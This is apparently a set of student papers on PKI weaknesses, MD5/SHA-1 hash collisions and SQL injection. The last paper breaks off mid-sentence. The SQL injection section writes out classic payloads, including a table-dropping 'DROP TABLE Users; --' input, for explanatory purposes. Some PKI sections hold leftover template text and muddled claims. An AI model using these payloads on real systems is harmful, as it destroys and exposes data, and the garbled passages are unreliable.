The open PKI architecture can be easily expanded compared to 
closed PKI architecture, as the third-party CA is the one handling 
all the installation and maintenance of the PKI software. 

2.3.1.2 Disadvantages 
A third-party CA’s software might not integrate seamlessly into 
the client’s existing architecture. 

It will also be harder to access the risk of potential monetary 
losses due to theft or fraud for open PKI solution. 

2.3.2 Closed PKI 
For a closed PKI architecture, there must have the proprietary PKI 
software installed on the desktop, which uses this architecture to 
ensure that data transfer is secure. Certificates are issued by the 
proprietor. 

2.3.2.1 Advantages 
The heading for subsubsections should be in Times New Roman 
11-point italic with initial letters capitalized. 

2.3.2.2 Disadvantages 
The heading for subsubsections should be in Times New Roman 
11-point italic with initial letters capitalized. 

2.4 Different types of PKI and Infrastructure 
There are various types of PKI and architectures. Some of the 
common PKI types are PGP, X509 and PKIX, SPKI, DNSSEC 
and duplicate keys.  

2.4.1 PGP 
PGP stands for Pretty Good Privacy, originated from Philip 
Zimmerman’s works. It makes use of three keys: a secret session 
key and the asymmetric key pair. The different components 

interacting in this particular instance of PKI are simply the clients’ 
PGP modules and the key servers. 

2.4.2 X.509 and PKIX 
For open PKI, the architecture allows the public to be able to 
inspect so that people can decide if their systems are compatible 
with the PKI. A digital certificate has to be obtained by having a 
partnership between the individuals and a third-party CA. 

In order to utilize open PKI solution fully, the solution should 
integrate seamlessly into the client’s infrastructure so as not to 
disrupt any programs or services, which are already running at 
that point in time. However, in real life, this is difficult to achieve 
due to the many types of business architectures that exist. Thus, in 
order for open PKI solution to be successful, the PKI must 
integrate smoothly into the existing architecture, ensuring that all 
other services are not disrupted. 

2.4.3 SPKI 
Simple public key infrastructure (SPKI, pronounced as spoo-key) 
specification defines an authorization certificate format, providing 
for the delineation of privileges, rights or other authorizations and 
binding them to a public key.  

2.4.4 DNSSEC 
The Domain Name System Security Extensions (DNSSEC) is a 
suite of Internet Engineering Task Force (IETF) specifications for 
securing certain kinds of information provided by the Domain 
Name System (DNS) as used on Internet Protocol (IP) networks. 
It is a set of extensions to DNS, which provides to DNS clients 
origin authentication of DNS data, authenticated denial of 
existence, and data integrity, but not availability and 
confidentiality.  

2.4.5 Duplicate Keys 
This is the focus of this paper. The duplicate key is generated by 
multiplying 2 prime numbers together, ie. Key = prime*m. If the 
random number generator is weak, another person may have a key 
that is prime*n. If an attacker tries to find the greatest common 
divisor on the 2 keys (prime*m and prime*n), he will be able to 
find out m, n and the prime number. 

3. SECURITY ISSUES 
Security is achieved only if all the parties in the system are 
equally secure. In this section, we introduce the most prominent 
risks posed towards Public Key Infrastructure, including both 
issues caused by human factor and technical issues caused by poor 
software implementation.  

3.1 PKI risks 
3.1.1 Identity 
 

As PKI system requires end user to “trust” a Certificate Authority, 
the first question raised should be “who to trust?”. 

At the current stage of PKI, a CA can issue a certificate for any 
application, even without application owner’s consent. Then what 
if the CA was tricked by some malicious application to issue a 
certificate. In that case, although the certificate is valid, the 
organization still cannot be trusted. 

The CAs themselves are sometimes not as trustworthy as they 
seem. If a CA does not provide enough security measures  
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In February 2012, TrustWave - one of the CAs, admitted it once 
issued a certificate to a company without the company knowing, 
and was able to intercept all SSL communications within the 
company. This example is to demonstrate how dangerous it is to 
“trust” the wrong people. 

3.1.2 Protection 
Private key of the key-pair must be kept secret to prevent any 
misuse such as unauthorized signing using complement the public 
key. While PKI guarantees security to certain extent as certificates 
is virtually immune to duplication, the security steps that the 
owners of the private key take may not be enough. For example, 
the device or the computer that stores the private key of individual 
users will most likely be the usual PC, running on common OSes 
such as Windows. As Schneier said, “Security is a chain; it's only 
as secure as the weakest link”. Hence, the PKI system itself may 
only be as secure as the usual PC in our homes.  

3.1.3 Non-repudiation 
Non-repudiation means that the key owner cannot deny the key. 
In other words, the owner is responsible for whatever the key 
does. If the key was stolen and used in malicious purpose, the 
owner might be charged regardless of whether or not it was really 
him/her that did it. While CAs uses certificates to enforce non-
repudiation, it is guaranteed on the assumption of the private keys 
being secret. However, as highlighted above, the protection itself 
bears some issues.  

3.1.4 SSL 
Trusted CAs in web-browsers are added in by Operating System 
or by browser vendors. The real issue comes from the fact that 
CAs are required to make payments in order to be listed in the 
web-browsers. With Microsoft being the only exception, as they 
require formal-audit before final decision is made. There will be 
weak CAs while there are also CAs that are much more secure. 
Current approach in selecting valid CAs do not account for such 
facts.  

It has come to the attention of security experts that, governments 
use compelled certificates to tap Internet communication.  As CAs 
from any country is trusted equally, there exist distrust in the 
whole PKI system.  

3.1.5 Key & Certificate 
X.509 standard is the most widely used PKI standard. The 
structure of an X.509 v3 digital certificate includes: Certificate 
(Version, serial number, algorithm ID, issuer, validity, subject, 
subject public key info, issuer unique identifier, subject unique 
identifier, extensions), certificate signature algorithm and 
certificate signature. 
Surprisingly, there lie many problems with X.509 standard even 
though they are widespread. X.509 misses most of the required 
infrastructures. Many clients ignore the important features in PKI 
such as revocation, as x.509 revocation check would most likely 
crash clients due to poor implementation. Furthermore, root 
certificate revocation is not even addressed in x.509. 

3.1.6 Duplicate Public Key Problem 
Keys used in encryption and decryption using RSA algorithm 
needs a random number generator to generate a large prime. In the 
case there are 2 public keys share the same large prime, the 
attacker might just run a greatest common divisor operation on the 

2 keys to get the prime and subsequently, both keys are 
compromised. 

In a reveal in late 2012 suggested that the NSA has attempted and 
succeeded in injecting a bad random number generator used in 
RSA algorithm implementation. Although RSA has stopped using 
the random number generator, it is unknown whether NSA took 
advantage of the known weakness in the RNG to eavesdrop data.  

3.2 Issues leading to insecurity worries in PKI 
PKI is not just about cryptography. Humans are involved. This is 
a weak link in security system. 
 

 
Figure 2. Hindrance – another contributing factor to PKI 
insecurity 

Sometimes instead of cracking the private key, humans can just 
threaten a person directly for the key – under architectural 
weaknesses.  

 

 
Figure 3. RSA’s SecurID 800 

Relating to an article dated in 2012, scientists have devised an 
attack that takes only minutes to steal the sensitive cryptographic 
keys stored on raft of hardened security devices that corporations 
and government organizations use to access networks, encrypt 
hard drives, and digitally sign e-mails. 

3.3 How do we tackle them 
Better security measures needed to prevent keys: beware of 
malicious softwares and viruses that aim to steal keys, beware of 
choosing hardware vendors to make sure that they do not include 
any backdoor/insecurity.  
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4. ATTACKS 
4.1 Attack Landscape 
Attacks on the Public Key Infrastructure system are to be 
expected since it provides a critical role in proving the issuer’s 
authenticity. When the system is exploited, the illusion of trusted 
authenticity diminishes. The current Public Key Infrastructure 
uses implementations of cryptographic systems to achieve 
securitywhich opens up attacks into the individual machine’s 
themselves as well as the cryptographic system as a whole. We 
will take a look at the attack surface of these areas as well as 
previous successful attacks. 

Every network security infrastructure needs to be capable of 
solving the 4 major security problems: confidentiality, data 
integrity, data authentication and non-repudiation.  

4.2 Attack Vectors 
4.2.1 System security 
Attacks in this area are applicable to most computer systems, such 
as malware, trojans, etc. However, on a system as influential and 
centralized as the PKI, the range of effect from successful attack 
can be much higher in scale. One such attack was the Diginotar 
attack in 2011, which misguided users into a fake Google.com 
certificate, which resulted in a wide range man in the middle 
attack. This was done by hackers gaining access to the CA servers 
from other vulnerable parts of the Dutch CA’s network. While 
Diginitor had very elaborate security systems installed, including 
physical systems, only one hole was necessary to result in this 
major breach. 
Some system security attacks can be done through malware, 
which can extract keys from machines. However, the attacks don’t 
necessarily have to be so technical. Social engineering attacks 
have proven to be effective on CAs and RAs in the past. In 2001 
VeriSign issued two unauthorized Microsoft certificates. This 
proved difficult in that distinguishment between ‘real’ and ‘fake’ 
certificates cannot be easily identified.  

Some solutions to the attacks on systems from these situations and 
similar occurrences include separation of privilege, proactive 
intrusion detection systems and diligently trained staff. Separation 
of privilege could have lightened the damage done from the 
Diginotar attack by making different administrative access for the 
different CA servers, rather than just one. Also it could have 
mitigated the problem entirely if more than one entity was 
required to issue the fake certificate. The other solutions provide 
mitigation on preventing successful attacks in the future by 
increasing awareness of social engineering attempts and 
monitoring of intrusion to other parts of the network. 

4.2.2 Cryptographic security 
Common attacks on cryptographic systems include but are not 
limited to, brute forcing weak keys, timing attacks, hash collisions 
and exploitation of poorly implemented random number 
generators. Timing attacks occur when the time it takes the 
algorithm to process a computation is calculated in attempt to 
determine differences in computation time when new information 
is processed. This can help attackers crack the cryptosystem. One 
possible solution for this is to “blind” the process by doing 
arbitrary calculation with other random numbers. Hash collision 
attacks and brute forcing of weak keys can be mitigated by raising 
key lengths in the hashing functions.  

Poor implementations of random number generators can be more 
of a subtle and difficult problem to deal with. Such poor 
implementations can result in duplicate keys or keys within a 
common prime factor. These are both critical issues since keys 
should theoretically be unique and difficult to compute. If an 
attacker knows one prime factor of the key, determining the rest 
of the key is simple. Poor implementations of random number 
generators are largely due to lazy configuration or non-
configuration of devices which otherwise utilize factory defaults 
which are easily discovered by attackers. One solution to this 
duplicate key problem is to simply ensure that random number 
generators are configured properly outside the factory defaults, 
thus ensuring more entropy within the generated numbers. Being 
thorough in configuring random number generators with 
appropriate entropy is crucial since it is the source of an effective 
cryptosystem. The reason this is an important issue is because if 
an attacker can easily determine the private key of a client, the 
confidentiality of information being sent to them is now 
compromised. Thus rendering the purpose of PKI useless.  

4.3 Historical attacks 
In the past there has been incidents where random number 
generators were produced with purposeful errors in them so that it 
could be easily decrypted by the entity, which introduced the 
system. This was the case with RSA and the United States 
government. A purposefully flawed random number generator 
allowed the government entity to decipher traffic between 
monitored hosts. This security loophole existed for several years 
before being revealed. This highlights the idea that any 
implementation of cryptographic systems cannot be taken at face 
value and must be thoroughly examined for such flaws before 
assuming blind faith in the backing entity. While the previous 
attack focused on flaws in random number generators, attacks can 
focus on any number of flaws presented by either the system or 
cryptographic structure.  
 

 
Figure 4. Heart Bleed Bug Attacking over 60% of websites today 

Very recently a vulnerability named Heartbleed revealed that for 
two years a flaw in OpenSSL existed which when exploited could 
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result in a memory leak that included information such as private 
keys of individuals. This is significant because when a ‘system’ is 
mentioned, it is important to realize that a ‘system’ is not isolated 
to a particular machine or area. OpenSSL is a mechanism, which 
is rather separate from PKI, however since they must work 
together, OpenSSL becomes part of the ‘system’ and thus 
vulnerabilities to OpenSSL effect PKI. Even indirect routes to 
unauthorized information will produce the same consequences, 
therefore it is important to truly evaluate all aspects the full 
system in determining the security of just a small portion.  

5. CONCLUSION 
There are various types of PKI risks such as identity, protection, 
non-repudiation, SSL, key & certificate. There are also many 
system security and cryptographic security issues related to PKI 
and especially the duplicate key problem. System security attacks 
are applicable to most computer systems and can come in the 
form of both technical and non-technical methods such as 
malware attacks and social engineering. Cryptographic security 
attacks are based on how strong is the PKI infrastructure. Such 
attacks can come in the form of brute forcing weak keys, timing 
attacks and more. The duplicate key problem falls under this 
category as it arises from poor implementations of the random 
number generator. Hence, making it easier for cryptographic 
attacks to succeed. 

Although technology is becoming more advanced these days, the 
most we can do is to increase the complexity of our PKI 
infrastructure and deter and prevent hackers from hacking our 
data. It is impossible to stop attacks to our systems. System 
security maintenance people have to always be on the lookout for 
new forms of attacks and methods of hacking. Taking the 
Heartbleed bug for instance, if the system security maintenance 
people had been more sensitive and on the lookout, there would 
probably not have been so much leakage of sensitive data. 
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ABSTRACT 
In this paper, we will investigate the MD5 and SHA-1 algorithms, 
the attacks on them and the impact it has on systems that are using 
them.  

Categories and Subject Descriptors 
E.4.6 [Data]: Data Encryption – Code breaking.  

General Terms 
Algorithms, Documentation, Security. 

Keywords 
Hash Collisions, MD5, SHA-1 

1. INTRODUCTION 
MD5 (Message-Digest algorithm 5) and Secure Hash Algorithm 1 
(SHA-1) are cryptographic hash functions used in a number of 
cryptographic applications, more commonly in verifying data 
integrity and password. 

2. Cryptographic Hash Functions 
A hash function is an algorithm that maps data of any length to 
data of a fixed length. A cryptographic hash function is similar to 
hash function except that it requires certain properties that allow it 
to be used in cryptographic applications. Ideally, cryptographic 
hash functions should make it very difficult to obtain the original 
message from the hash value, reasonably easy to compute a hash 
for a given message, infeasible to generate a message with a given 
hash, infeasible to modify a message without changing the 
resultant hash and infeasible to find two messages with the same 
hash. At the very least, cryptographic hash functions should be 
pre-image resistant, second pre-image resistant and collision 
resistant.  

3. Hash Collisions 
Hash collisions occur when two different inputs gives the same 
output value when passed through a hash function. The 
Pigeonhole Principle and the Birthday Paradox can explain this 
phenomenon. If the input for the hash function is not controlled, 
there is a chance that the number of possible inputs will exceed 
the number of possible outputs. If this occurs, then the Pigeonhole 
Principle states that the probability of a hash collision is 100%. 
This was made under the assumption that the generation of output 
is unique for each input. However, the Birthday Paradox states 
that  

4. Message-Digest Algorithm (MD5) 
4.1 Brief Introduction 
MD5 is an algorithm that takes in an input of any length and 
produces a 128-bit (16-byte) output that is expressed as 32-digit 
hexadecimal number. 

4.2 Application 
There are many uses and application for MD5. We will be 
discussing on its uses in file integrity, generating passwords, 
digital signatures and certificates. Below is a sample on verifying 
file integrity. 
Figure 1:MD5 Checksum of a file from Mathematica 

 
Figure 2: Verifying MD5 Checksum of the downloaded file 

 

4.3 Algorithm 
The algorithm can be summarized in the Table 1 below [3]. 
More details on Step 3 can be found in Appendix A. 
Table 1: MD5 Algorithm 
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Step Description 

1 Divide the input into blocks of 512-bit. 64-bit is added to 
the last block to record the length of the input. If last 
block happens to be less than 512-bit after adding the 
64-bit length information, bits are added to make the last 
block 512-bit. (Adding 1 followed by the remaining 
number of 0s.) Each of these 512-bit blocks is divided 
into 16 32-bit sub blocks. 

2 MD buffer is initialized as such: 
A = 01 23 45 67 
B = 89 ab cd ef 
C = fe dc ba 98 
D – 76 54 32 10  
Also, there are 4 functions, each of which will be used in 
a specific round. 
F(X,Y,Z) = (X and Y) or (not(X) and Z) 
G(X,Y,Z) = (X and Z) or (Y and not(Z)) 
H(X,Y,Z) = X xor Y xor Z 
I(X,Y,Z) = Y xor (X or not(Z)) 

3 Store initial values of A,B,C,D as AA,BB,CC,DD 
respectively. 
Each 512-bit block will be subjected to 4 rounds. 
There will be 16 such operation [abcd k s i] for each 
round where it denotes  
a = b + ((a + f(b,c,d) + M[k] + T[i]) <<< s) 

where f represents F, G, H, I for rounds 1, 2, 3, 4 
respectively. 

4 After all the blocks have gone through the 4 rounds, the 
output will be A B C D where  
A = A + AA 
B = B + BB 
C = C + CC 
D = D + DD 

 

4.4 Vulnerability 
In our current Internet world, MD5 is considered to be broken. 
There have already been numerous scenarios and methods 
available on the Internet that shows how vulnerable the algorithm 
is. There are many arguments regarding how there are no practical 
or feasible uses of the hash collisions. But “The Story of Alice 
and her Boss” [1] is a great counter example to the claim that 
there is no real world usage of the hash collisions.  The story 
shows us how a digital signature for a hash message can be used 
as an authentication for a malicious intent. Below are the two 
different messages with the same MD5 hash. 
Figure 3: Letter that was used to obtain the digital signature 

 
Figure 4: A letter with malicious intent 

 
It was also reported that hackers were able to impersonate 
Certificate Authority (CA) by exploiting the hash collisions of 
MD5 [2]. In doing so, attackers could make phishing sites look 
legitimate due to the authentic certificates they are able to 
generate. Thus posing a threat of stealing passwords. 
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5. Secure Hash Algorithm (SHA-1) 
5.1 Brief Introduction 
SHA-1 is an algorithm that takes in an input of any length and 
produces a 160-bit (20-byte) output that is expressed as 40-digit 
hexadecimal number. 

5.2 Application 
Unlike MD5, where it is used often in data integrity, SHA-1 is 
widely used in security applications and protocols such as 
Transport Layer Security (TLS), Secure Sockets Layer (SSL), 
Pretty Good Privacy (PGP), Secure Shell (SSH) and many others. 
Below is a sample on how SHA-1 is used. 
Figure 5: A certificate signed using SHA-1 

 

5.3 Algorithm 
The algorithm can be summarized in Table 2 below [4]. 
More details on Step 3 can be found in Appendix B. 
Table 2: SHA-1 Algorithm 

Step Description 

1 Divide the input into blocks of 512-bits. If the last block 
has less than 448 bits, 1 will be added followed by the 
required number of 0s to make the last block 448-bits. 
64-bits (containing the length of the input) are added to 
make the last block 512-bit. Each of these 512-bit blocks 
is divided into 16 32-bit sub blocks. 

2 5 buffers are initialized as such: 
H0 = 67452301 
H1 = efcdab89 
H2 = 98badcfe 

H3 = 10325476 
H4 = c3d2e1f0 

There are 4 function and constant pairs, each pair will be 
used in a set of rounds. 
F(X,Y,Z) = (X and Y) or (not(X) and Z) 
K1 = 5a827999 
G(X,Y,Z) = X xor Y xor Z 
K2 = 6ed9eba1 
H(X,Y,Z) = (X and Y) or (X and Z) or (Y and Z) 
K3 = 8f1bbcdc 
I(X,Y,Z) = X xor Y xor Z 
K4 = ca62c1d6 

3 Store initial values of H0, H1, H2, H3, H4 as a, b, c, d, e 
respectively. These values will be used for the first 512-
bit block. 
Each 512-bit block will be subjected to 80 rounds. 
After each round, we have  
temp = (a leftrotate 5) + f + e + k + w[i] 
e = d 
d = c 
c = b leftrotate 30 
b = a 
a = temp  
where f represents F, G, H, I for rounds 1-20, 21-40, 41-
60, 61-80 respectively. k represents K1, K2, K3, K4 for 
rounds 1-20, 21-40, 41-60, 61-80 respectively. 
H0 = H0 + a 
H1 = H1 + b 
H2 = H2 + c 
H3 = H3 + d 
H4 = H4 + e 

These new H0, H1, H2, H3, H4 will be used as new initial 
values for the next 512-bit block and the whole step will 
repeat itself. 

4 After all the blocks have gone through the 80 rounds, the 
output will be HH where 

HH = (H0 leftshift 128) or (H1 leftshift 96) or (H2 
leftshift 64) or (H3 leftshift 32) or H4 

 

5.4 Vulnerability 
SHA-1 is supposedly found to not be collision free by a team of 
Chinese cryptographers [5]. The method was about 2000 times 
faster than doing brute force. Collisions can be found in SHA-1 in 
2^69 calculations. While it may seem to be quite a feat to find a 
collision, it is in fact achievable by large organizations. Also, as 
years pass, we can only expect computers to get faster and more 
powerful. Hence decreasing the time taken to find a hash collision 
in the SHA-1 algorithm.  
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6. Conclusion 
While there are sites such as Mathematica and OpenOffice that 
use MD5 to verify data integrity, the sites should phase out using 
MD5 as it is already possible to have 2 different files, 1 being the 
intended file and another being a malicious file containing virus to 
have the same MD5 Checksum. 
Figure 6: 2 files sharing the same MD5 hash 

 
While SHA-1 is still a few years away from being broken, it is 
still generally safe for systems using it for the time being. 
As a precaution, systems utilizing MD5 and SHA-1 should also 
incorporate other kinds of hashing along with MD5 and SHA-1 or 
implement SHA256. 
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APPENDIX 
A. MD5 Step 3 
Store initial values of A,B,C,D as AA,BB,CC,DD respectively. 
Each 512-bit block will be subjected to 4 rounds. 
There will be 16 such operation [abcd k s i] for each round where 
it denotes  
a = b + ((a + f(b,c,d) + M[k] + T[i]) <<< s) 
where f represents F, G, H, I for rounds 1, 2, 3, 4 respectively. 
M[k] represents the kth 32-bit sub block in the 512-bit block. 
T[i] represents the ith element in a 64-element table containing 
integer values of 2^32 * abs(sin(i)). 
Round 1 

[ABCD  0  7  1]  [DABC  1 12  2]  [CDAB  2 17  3]  [BCDA  3 
22  4] 
[ABCD  4  7  5]  [DABC  5 12  6]  [CDAB  6 17  7]  [BCDA  7 
22  8] 
[ABCD  8  7  9]  [DABC  9 12 10]  [CDAB 10 17 11]  [BCDA 11 
22 12] 
[ABCD 12  7 13]  [DABC 13 12 14]  [CDAB 14 17 15]  [BCDA 
15 22 16] 
Round 2 
[ABCD  1  5 17]  [DABC  6  9 18]  [CDAB 11 14 19]  [BCDA  0 
20 20] 
[ABCD  5  5 21]  [DABC 10  9 22]  [CDAB 15 14 23]  [BCDA  4 
20 24] 
[ABCD  9  5 25]  [DABC 14  9 26]  [CDAB  3 14 27]  [BCDA  8 
20 28] 
[ABCD 13  5 29]  [DABC  2  9 30]  [CDAB  7 14 31]  [BCDA 12 
20 32] 
Round 3 
[ABCD  5  4 33]  [DABC  8 11 34]  [CDAB 11 16 35]  [BCDA 
14 23 36] 
[ABCD  1  4 37]  [DABC  4 11 38]  [CDAB  7 16 39]  [BCDA 10 
23 40] 
[ABCD 13  4 41]  [DABC  0 11 42]  [CDAB  3 16 43]  [BCDA  6 
23 44] 
[ABCD  9  4 45]  [DABC 12 11 46]  [CDAB 15 16 47]  [BCDA  
2 23 48] 
Round 4 
[ABCD  0  6 49]  [DABC  7 10 50]  [CDAB 14 15 51]  [BCDA  5 
21 52] 
[ABCD 12  6 53]  [DABC  3 10 54]  [CDAB 10 15 55]  [BCDA  
1 21 56] 
[ABCD  8  6 57]  [DABC 15 10 58]  [CDAB  6 15 59]  [BCDA 
13 21 60] 
[ABCD  4  6 61]  [DABC 11 10 62]  [CDAB  2 15 63]  [BCDA  9 
21 64] 
B. SHA-1 Step 3 
Store initial values of H0, H1, H2, H3, H4 as a, b, c, d, e 
respectively. These values will be used for the first 512-bit block. 
Each 512-bit block will be subjected to 80 rounds. 
Round 1-20 
temp = (a leftrotate 5) + F + e + K1 + w[i] 
e = d; d = c; c = b leftrotate 30; b = a; a = temp  
Round 21-40 
temp = (a leftrotate 5) + G + e + K2 + w[i] 
e = d; d = c; c = b leftrotate 30; b = a; a = temp  
Round 41-60 
temp = (a leftrotate 5) + H + e + K3 + w[i] 
e = d; d = c; c = b leftrotate 30; b = a; a = temp  
Round 61-80 
temp = (a leftrotate 5) + I + e + K4 + w[i] 
e = d; d = c; c = b leftrotate 30; b = a; a = temp  
 
H0 = H0 + a; H1 = H1 + b; H2 = H2 + c; H3 = H3 + d; H4 = H4 + e 
These new H0, H1, H2, H3, H4 will be used as new initial values 
for the next 512-bit block and the whole step will repeat itself
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ABSTRACT. In order to protect our software from 

exploitation, it is essential to understand how these attacks 

work. This paper will be discussing Structured Query 

Language (SQL) injection in detail, exploring what it is and 

how it functions. We will then examine the impacts when a 

software is abused and the importance of software 

protection. This paper will then elaborate on the different 

ways of protection and their effectiveness – against SQL 

injections. 

KEYWORDS: security exploits, sql, injections, 

protection 

 

1 INTRODUCTION 

Injection attacks allow an attacker to inject code into a query 

or inject malware onto a computer to execute remote 

commands that can read or modify a database, or change 

data on a website. This class of attacks is every 

programmer’s bogeyman. They are the most common and 

successful type of attacks on the Internet due to the 

numerous types, large attack surface, and the complexity 

needed to protect against them. And because nearly every 

web service requires some form of input from the users, the 

databases are in risk of being invaded. Hence, it is important 

to set up protection against software attacks to defend the 

database contents that the attackers are after. 

 

2 SOFTWARE ATTACKS 

2.1 How vulnerable are we? 

Web application vulnerability statistics was collected 

through penetration testing, security audits and other 

activities made by companies which were members of Web 

Application Security Consortium (WASC) in 2008. The 

conclusion drawn was that the most widespread 

vulnerabilities are Cross-Site Scripting, Information 

Leakage, SQL Injection, Insufficient Transport Layer 

Protection, Fingerprinting and HTTP Response Splitting. 

As a rule, Cross-Site Scripting, SQL Injection and HTTP 

Response Splitting vulnerabilities are caused by design 

errors, while Information Leakage, Insufficient Transport 

Layer Protection and Fingerprinting are often caused by 

insufficient administration. The statistics included data on 

12186 sites with 97554 detected vulnerabilities of different 

risk levels. Figure 1 below shows the percentage of the 

most widespread vulnerabilities in web applications.

 

Figure 1.  Percentage of the most widespread 

vulnerabilities in web applications [1] 
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From the data, we can see that the web applications are the 

weakest against Cross-Site Scripting attacks (39%) and are 

highly protected against HTTP Response Splitting attacks 

(3%). Out of the different attacks, SQL Injection attacks 

take up 7%. 

 

2.2 Injection attacks 

Since we will be focusing on Injection attacks in this paper, 

we have researched and compiled a list on the different 

types of injection attacks. Table 1 below describes the 

different kinds of injection attack and its purpose is to 

provide a further understanding on how such attacks may 

occur. 

 

Table 1. Types of injection attack [2] 

Attack type Attack description 

Blind SQL 

Injection 

Allows an attacker to use an error page 

that is returned by the database server 

to ask a series of True and False 

questions that use SQL statements to 

gain total control of the database or 

execute commands on the system. 

Blind/XPath 

Injection 

Allows an attacker who does not know 

the structure of an XML document to 

use methods that attempt to determine 

the structure of the document. 

Buffer 

Overflow 

Buffer overflow attacks overflow a 

buffer with excessive data. This type of 

attack allows an attacker to run remote 

shell on the computer and gain the 

same system privileges that are granted 

to the application that is being attacked. 

Format String 

Attack 

Alters the flow of an application by 

using string formatting library features 

to access other memory space. 

In this type of attack, data that is 

provided by users might be used as 

formatting string input for certain 

C/C++ functions (for example: fprintf, 

printf, sprintf, setproctitle, syslog). 

LDAP 

Injection 

Exploits websites that construct LDAP 

(Lightweight Directory Access 

Protocol) statements from data that is 

provided by users. 

In this type of attack, an attacker might 

modify LDAP statements by using a 

local proxy to execute arbitrary 

commands (granting permissions to 

unauthorized queries) or modify the 

content of the LDAP tree. 

OS 

Commanding 

Exploits websites by injecting an 

operating system command through an 

HTTP request to the web application. 

In this type of attack, an attacker might 

upload malicious programs or obtain 

passwords. 

SQL 

Injection 

Takes advantage of the SQL syntax to 

inject commands that can read or 

modify a database, or compromise the 

meaning of the original SQL query. 

In this type of attack, an attacker can 

spoof identity; expose, tamper, destroy, 

or make existing data unavailable; 

become the Administrator of the 

database server. 

SSI Injection Allows an attacker to send code to a 

web application, which is executed 

locally by the web server. 

In this type of attack, an attacker 

exploits the failure of the web 

application to filter data provided by 

users before it inserts that data into a 

server-side interpreted HTML file. 

XPath 

Injection 

Exploits websites that allow an attacker 

to inject data into an application to 

execute XPath queries. (XPath is a 

query language that describes how to 

locate specific elements, such as 

attributes or processing instructions in 

an XML document.) 

In this type of attack, the attacker might 

be able to bypass authentication or 

access information without needing 

appropriate authorization. 
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Code 

Injection 

Code Injection is the general term for 

attack types which consist of injecting 

code that is then interpreted/executed 

by the application. This type of attack 

exploits poor handling of untrusted 

data. These types of attacks are usually 

made possible due to a lack of proper 

input/output data validation, for 

example: 

allowed characters (standard regular 

expressions classes or custom) 

data format 

amount of expected data 

Code Injection differs from Command 

Injection in that an attacker is only 

limited by the functionality of the 

injected language itself. If an attacker 

is able to inject PHP code into an 

application and have it executed, he is 

only limited by what PHP is capable of. 

Command injection consists of 

leveraging existing code to execute 

commands, usually within the context 

of a shell. 

 

As described above, the various types of injection attacks 

available shows how vulnerable unprotected or weakly 

designed software can be, and malicious attackers will 

always be looking out for different ways to hack into 

important systems. Hence, the paper will be focusing on 

SQL Injection attacks, because the problem is fairly simple 

to mitigate as compared to other attacks, and yet there is 

still a large amount of SQL attacks still prevalent. 

 

3 SQL INJECTION 

3.1 What is it? 

Structured Query Language (SQL) Injection is one of the 

many web attack mechanisms used by attackers to steal data 

from organizations. It is perhaps one of the most common 

application layer attack techniques used today. 

It is the type of attack that takes advantage of improper 

coding of your web applications as attackers can modify the 

parameters of the web-based application in order to change 

the SQL statements that are passed to a database to return 

data. For example, by adding a single quote (‘) to the 

parameters, it is possible to cause a second query to be 

executed with the first. In essence, SQL Injection arises 

because the fields available for user input allow SQL 

statements to pass through and query the database directly. 

[3] 

 

3.2 How does it work? 

SQL injections based on poorly filtered strings are caused 

by user input that is not filtered for escape characters. This 

means that a user can input a variable that can be passed on 

as an SQL statement, resulting in database input 

manipulation by the end user. For instance, consider the 

following query:  

 

SELECT * FROM Users WHERE Username = 
'$name'; 

If we submit 'James' to this, it will return all users named 

James. However, if a user appends "OR 1=1", the resulting 

query would be: 

 

SELECT * FROM Users WHERE Username = '' OR 

'x'='x'; 

 

Since the evaluation of 'x'='x' is always true, this will return 

true on every row, which will in turn display every row to 

the malicious user. Using this technique, someone can view 

the entire database.  

Also consider if someone submit something like DROP 

TABLE Users; --; which results in:  

 

SELECT * FROM Users WHERE Username = ''; 

DROP TABLE Users; --; 

 

There are two queries, the first one will do nothing, the 

second will delete the ENTIRE “Users’ table from the 

database, resulting in the loss of your data.  

Apart from the method described above, there are also 

other methods that attackers can use to manipulate the 

database: 

 UNIONS can be added to an existing statement to 

execute a second statement; 

 SUBSELECTS can be added to existing 

statements; 

 Existing SQL can be short-circuited to bring back 

all data. This technique is often used to gain access 

via third party-implemented authentication 

schemes; 

 A large selection of installed packages and 

procedures are available, these include packages 

to read and write O/S files; 

 Multiple SQL statements; 

 Data Definition Language (DDL) can be injected 

if DDL is used in a dynamic SQL string; 

 INSERTS, UPDATES and DELETES can also 

be injected; and, 

 Other databases can be injected through the first 

by using database links. 
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3.3 Impacts of SQL Injection 

An attacker gaining administrative access to your server 

means that you will have effectively lost all of the data on 

that server to the invader. Worse yet there is now a 

beachhead behind your firewall from which attacks on other 

servers and services can now be made. In this way SQL 

Injection can provide access to all company or personal data. 

 

Alternatively, if outright damage is the intent then all kind 

of bad things can be done to a database once one has gained 

access to running commands. An entire table can be 

permanently deleted using a single SQL command (as seen 

from the example described above). Furthermore, a more 

sophisticated SQL Injection attack could involve massive 

corruption of large databases and even destruction of backup 

copies. 

 

An example of a company that was affected by SQL 

Injection is Yahoo. On 11 July 2012, a hacker group known 

as "D33Ds Company" publicly posted a password dump of 

450,000 Yahoo users. The attack vector was a Union-based 

SQL Injection attack. 

 

Although Yahoo stressed that they take security very 

seriously and invest heavily in protective measures to 

ensure the security of its users and their data across all 

Yahoo products, it was still possible to access the data 

through the use of SQL Injection. As a result of this 

incident, Yahoo’s reputation took a hit. [6] 

 

 

3.4 Why are SQL Injection attacks so 

feared? 
 

SQL Injection attacks are not a new phenomenon and 

security professionals are more than capable of protecting 

against them. However, according to Neira Jones, former 

head of payment security for Barclaycard, some 97 percent 

of data breaches worldwide are still due to SQL Injection 

somewhere along the line. That fact begs a question – why 

are SQL Injection attacks still so effective? 

For the most part, security professionals are well aware of 

the threats posed by SQL Injection, yet are flummoxed by 

the rapid evolution of the latest attacks. Further complicating 

effective preventative measures is the fact that most attacks 

leverage zero day vulnerabilities. Simply put, the majority of 

the attack vectors has not been seen before and lacks the 

indicative signs of an intrusion. That creates a very difficult 

situation for most security professionals, especially those 

that rely on signature based security technologies to detect 

and prevent attacks. 

Michael Sabo, vice president of marketing at DB Networks, 

a company that develops technologies to deal with SQL 

Injection attacks, said, “battling SQL Injection must take a 

different approach, one that identifies what is normal access 

and what falls out of the norm, all without creating false 

positives for attacks and at the same time, not miss an attack 

in progress.” Sabo made a valid point and indicated that 

automatic technologies that can identify attacks are 

becoming a must have for any business with an online 

presence. [11] 

 

 

4 SOFTWARE PROTECTION 

4.1 Why? 

Since SQL Injection is an extremely common kind of web 

application security vulnerability, buffering up protection of 

software against malicious attacks are indeed more than 

necessary for the developer. The database supporting a 

software might contain key confidential information, and its 

vulnerability to SQL Injection might lead to severe 

